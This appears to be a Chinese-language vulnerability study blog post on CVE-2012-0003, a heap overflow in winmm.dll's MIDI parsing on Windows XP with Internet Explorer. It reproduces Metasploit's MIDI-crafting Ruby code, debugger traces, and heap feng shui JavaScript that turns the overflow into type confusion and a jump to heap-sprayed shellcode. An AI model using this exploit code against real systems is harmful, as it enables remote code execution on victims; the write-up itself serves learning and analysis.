环境

  • Windows XP
  • Windows Media Player (10.00.00.3802)
  • Internet Explorer
  • Immunity Debugger
  • IDA
  • ubuntu 16.04 with metasploit

分析

winmm.dll在处理网页中嵌入的midi文件时产生了堆溢出。

样本文件

在msf中搜索“cve-2012-0003”找到模块windows/browser/ms12_004_midi,选好payload和option之后,运行exploit会启动一个web server,并打印出访问地址,在xp中访问这个链接发现可以触发漏洞,为了便于调试还是生成本地文件方便一点,直接用curl把网页保存成html,打开发现还加载了midi文件,按照链接也curl下来就好,记得把html中的midi路径换成相对路径。

在010editor中打开midi文件:

image-20200108223715435

msf的这个模块对应的文件为ms12_004_midi.rb,查看代码发现生成midi文件的部分如下,这里就不分析文件格式了,后面有疑问的时候回来对照着图片和代码看就好。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
  def get_midi(stage="corruption")
    # MIDI Fileformat Reference:
    # http://www.sonicspot.com/guide/midifiles.html
    #
    # Event Types:
    # 0x08 = Note Off (when MIDI key is released)
    # 0x09 = Note On (when MIDI key is pressed)
    # 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
    # 0x0B = Controller Event (MIDI channels state)
    # 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
    # 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
    # 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
    # 0x0F = Meta Events (not sent or received over a midi port)

    # Structure:
    # [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)

    # Track Chunk Data
    tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
    # Meta Event - Sequence/Track Name
    tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
    # Midi Channel Event - Program Change
    tc << "\x00\xC9\x28"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x07\x64"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x0A\x40"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x7B\x00"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x5B\x28"
    # Midi Channel Event - Controller
    tc << "\x00\xB9\x5D\x00"
    # Midi Channel Event - Note On
    tc << "\x85\x50\x99\x23\x7F"

    # Corruption events
    if stage == "corruption"
      # Midi Channel Event - Note On
      tc << "\x00\x9F\xb2\x73"
    else
      # Midi Channel Event - Note Off (trigger a leak)
      tc << "\x00\x8F\xb2\x73"
    end

    # Meta Event - End Of Track
    tc << "\x00\xFF\x2F\x00"
    m = ''
    # HEADERCHUNK Header
    m << "MThd"                 # Header
    m << "\x00\x00\x00\x06"     # Chunk size
    m << "\x00\x00"             # Format Type
    m << "\x00\x01"             # Number of tracks
    m << "\x00\x60"             # Time division
    # TRACKCHUNK header
    m << "MTrk"                 # Header
    m << [tc.length].pack('N')
    m << tc

    #midi_name = "test_case.mid"
    midi_name = rand_text_alpha(5) + ".mid"

    return midi_name, m
  end

漏洞触发

由于是堆溢出漏洞,先打开堆页让程序直接crash。

gflags.exe -i IExplore.exe +hpa

之后打开ie用immunity debugger attach上,拖入poc.html,在ie中有安全警告,点击运行,之后程序会crash掉。

断在这一句,访问到了异常地址

1
76B2D224  MOV AL,BYTE PTR DS:[ESI]

Image

溯源

下面分析esi的来源,通过mona找到这行代码所在模块winmm.dll,拖入ida中分析,函数有点长,在ida中f5反编译先看看,找到之前crash的语句,那么接下来就要追一下v24是哪里来的。

image-20200108225648722

这里涉及十几个变量,看着头晕,拿笔画一画就清晰多了。

mmexport1578496347804

呃,貌似还是不太明了他们都是干什么的。接下来使用调试器的“断点记录shift+f4 ”功能把变量都标记一下,调试器会记录下他们值的变化情况。

在ida中对着伪代码和汇编代码,找到感兴趣变量对应的汇编语句,shift+f4打开条件断点窗口设置,之后运行完打开log就可以看到这些变量的变化过程。

image-20200108231931485

我的方法是先在ida中一次性找完,记下来,之后到immunity debugger中依次设好。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
v1  76B2D044 edi
v2 76B2D053 esi
v9 76B2D099 ebx
wParama 76B2D083 ecx
v11 76B2D0B8 ecx 
v13  76B2D0C9 ecx
wParam3a  76B2D20D  edx 
v21
v23 76B2D214  eax
v20 76B2D1BF  esi
v24 76B2D224  esi

设完之后的样子:

image-20200109002528448

拖入样本运行后打出的log:

image-20200109002507947

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
76B2D044   COND: v1 = 02A9CE70
76B2D053   COND: v2 = 02AC87F8
76B2D083   COND: wParama = 18A90088
76B2D099   COND: v9 = 00000004
76B2D0B8   COND: v11 = 000028C9
76B2D0C9   COND: v13 = 000028C9
76B2D1BF   COND: v20 = 02ACB380
76B2D053   COND: v2 = 02AC87F8
76B2D083   COND: wParama = 18A90088
76B2D099   COND: v9 = 00000010
76B2D0B8   COND: v11 = 006407B9
76B2D0C9   COND: v13 = 006407B9
76B2D1BF   COND: v20 = 02ACB380
76B2D053   COND: v2 = 02AC87F8
76B2D083   COND: wParama = 18A90088
76B2D099   COND: v9 = 0000001C
76B2D0B8   COND: v11 = 00400AB9
76B2D0C9   COND: v13 = 00400AB9
76B2D1BF   COND: v20 = 02ACB380
76B2D053   COND: v2 = 02AC87F8
76B2D083   COND: wParama = 18A90088
76B2D099   COND: v9 = 00000028
76B2D0B8   COND: v11 = 00007BB9
76B2D0C9   COND: v13 = 00007BB9
76B2D1BF   COND: v20 = 02ACB380
76B2D053   COND: v2 = 02AC87F8
76B2D083   COND: wParama = 18A90088
76B2D099   COND: v9 = 00000034
76B2D0B8   COND: v11 = 00285BB9
76B2D0C9   COND: v13 = 00285BB9
76B2D1BF   COND: v20 = 02ACB380
76B2D053   COND: v2 = 02AC87F8
76B2D083   COND: wParama = 18A90088
76B2D099   COND: v9 = 00000040
76B2D0B8   COND: v11 = 00005DB9
76B2D0C9   COND: v13 = 00005DB9
76B2D1BF   COND: v20 = 02ACB380
76B2D053   COND: v2 = 02A9CF18
76B2D083   COND: wParama = 028E91C8
7C8106E9   New thread with ID 000002A0 created
192E0000   Modules C:\WINDOWS\system32\wmvcore.dll
73620000   Modules C:\WINDOWS\system32\msdmo.dll
7C8106E9   New thread with ID 000001D8 created
19530000   Modules C:\WINDOWS\system32\WMASF.DLL
76B2D044   COND: v1 = 02A9CE70
76B2D053   COND: v2 = 02A9CF18
76B2D083   COND: wParama = 028E91C8
76B2D099   COND: v9 = 00000004
76B2D0B8   COND: v11 = 007F2399
76B2D0C9   COND: v13 = 007F2399
76B2D1BF   COND: v20 = 02ACB380
76B2D20D   COND: wParam3a = 00000023
76B2D214   COND: v23 = 00000251
76B2D224   COND: v24 = 02ACB5D1
76B2D053   COND: v2 = 02A9CF18
76B2D083   COND: wParama = 028E91C8
76B2D099   COND: v9 = 00000010
76B2D0B8   COND: v11 = 0073B29F
76B2D0C9   COND: v13 = 0073B29F
76B2D1BF   COND: v20 = 02ACB380
76B2D20D   COND: wParam3a = 000000B2
76B2D214   COND: v23 = 00000419
76B2D224   COND: v24 = 02ACB799
           [00:14:21] Thread 000007C0 terminated, exit code 0

分析发现:

  • v20 = 02ACB380从头到尾都是不变的,而这个值来源于此函数的唯一参数
  • v11==v13,每次值会有变化
  • v9是递增的
  • wParam3a是截取v11的8到15位

v23是通过wParam3a和v21计算出来的(v21的值和v11一样,上面忘打了),试了一下,果然是这样。

image-20200109003859906

image-20200109004219848

现在看来v23来源于v11,v11从哪里来的呢,样本。

image-20200109005127185

最后导致程序crash的地址是v23+v20,现在还剩v20了,前面说v20来自函数参数,那么就xref看看

image-20200109005340654

对gpEmuList进行xref找到写它的地方,发现他指向一块分配的堆:

image-20200109005536301

image-20200109005757979

所以,v20是基地址,v23是索引,v23=0x419时发生了越界读取,程序crash。

利用

在越界访问发生之后,程序会对esi指向的内存进行+1操作,exp中利用这一点来造成类型混淆。

image-20200109102702172

大致思路是在内存中连续分配内存,间隔释放留下一些“空洞”,期待winmmAlloc会申请到这片区域(插空),之后触发漏洞会改写下一个块的数据(+1),控制这个写入的偏移,即可造成下一个块的类型混淆。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
  var heap = new heapLib.ie();
  var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
....省略
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert

  var clones = new Array(1000);

  function feng_shui() {
    heap.gc();

    var i = 0;
    while (i < 1000) {
      clones[i] = selob.cloneNode(true)
      i = i + 1;
    }

    var j = 0;
    while (j < 1000) {
      delete clones[j];
      CollectGarbage();
      j  = j + 2;
    }
  }

  feng_shui();

  
function trigger(){
  var k = 999;
  while (k > 0) {
    if (typeof(clones[k].w0) == "string") {
    } else {
      clones[k].w0('come on!');
    }
    k = k - 2;
  }
  feng_shui();js
  document.audio.Play();

在clone、free还有midi分配内存的地方分别设置条件断点:

image-20200109112818573

运行后查看log,找到vulBuffer和其匹配的释放地址,”插空“成功

1
2
3
7E279860   COND: 111free = 02A8D158
.....
76B2CDEE   COND: vulBuffer alloc = 02A8D158

最后调试下越界写和shellcode跳转:

  • 漏洞点断下,此时esi指向0x08

image-20200109113157044

  • +1 变成0x09,w1由string类型变为object类型,他的字符串就会被错当成指针

image-20200109113220900

  • 在CAttrValue::GetIntoVariant中找到调用虚表指针的地方,下断点;取001c9cdc

image-20200109113348497

  • 001c9cdc指向0c0c0c0c,经典的堆喷射地址,后面就是跳转到布局好的shellcode执行了。

image-20200109113558545

总结

  1. 调堆还是得用windbg,试了下Immunity Debugger的!heap功能不咋好用,这里关于堆的地方有点模糊
  2. 这里字符串在内存中的布局有点奇怪,我查到的应该是这种格式

image-20200109114413247

  1. 条件断点,设clone alloc那里没太搞懂,原因还是对ie中的数据结构、内存结构不了解
  2. 堆喷射只知道套路。

参考

  • 《漏洞战争》